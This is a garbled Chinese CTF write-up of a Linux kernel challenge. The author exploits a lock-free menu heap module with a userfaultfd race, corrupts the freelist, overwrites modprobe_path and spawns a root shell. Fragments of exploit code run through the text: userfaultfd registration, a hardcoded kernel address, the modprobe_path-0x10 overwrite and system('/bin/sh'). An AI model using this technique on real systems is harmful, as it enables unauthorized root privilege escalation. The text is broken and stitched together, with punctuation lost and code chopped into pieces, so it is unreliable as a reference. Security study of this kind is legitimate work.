哎有点生疏了#xff0c;这题没看出来堆溢出#xff0c…前言

kernel

哎有点生疏了这题没看出来堆溢出直接条件竞争打了但感觉条件竞争打简单一些。

题目分析

然后题目实现了一个菜单堆有增删改查的功能漏洞主要全程没用上锁但是我做完后去网上搜了一下发现这题还有堆溢出这里堆溢出就不说了笔者是利用条件竞争做的

网上说这里

整体比较简单就不多说了主要就记录一下关键点其实这里利用方式还挺多的毕竟堆块大小没有限制

初始想法

除非泄漏内核栈地址但是如果都可以泄漏内核栈地址了就不用这样搞了

freelist

modprobe_path因为系统可能会分配堆块这时候就会报错为啥呢话不多说放图

/sbin/xxx

msg);sleep(5);exit(EXIT_FAILURE);

}void

root!\033[0m);sleep(5);exit(EXIT_FAILURE);}puts(\033[32m\033[1m[]

Successful

\033[0m);puts(\033[34m\033[1m[*]

Execve

now...\033[0m);system(/bin/sh);/*

exit

user_rflags;);puts(\033[34m\033[1m[*]

Status

cpu_set;CPU_ZERO(cpu_set);CPU_SET(core,

cpu_set);sched_setaffinity(getpid(),

sizeof(cpu_set),

cpu_set);printf(\033[34m\033[1m[*]

Process

register_userfaultfd(pthread_t*

moniter_thr,

exit(-1);uffdio_register.range.start

(long

long)addr;uffdio_register.range.len

UFFDIO_REGISTER_MODE_MISSING;if

(ioctl(uffd,

handler);dele(0);open(/proc/self/stat,

(long

modprobe_path-0x10;dele(0);uffdio_copy.src

(long

/home/pwn/dummy);system(/home/pwn/dummy);

modeprobe_path

0);register_userfaultfd(moniter_thr,

uffd_buf,

0x20);binary_dump(seq_operations

data,

0xffffffff810d30e0;modprobe_path

buf,

0);register_userfaultfd(moniter_thr0,

uffd_buf0,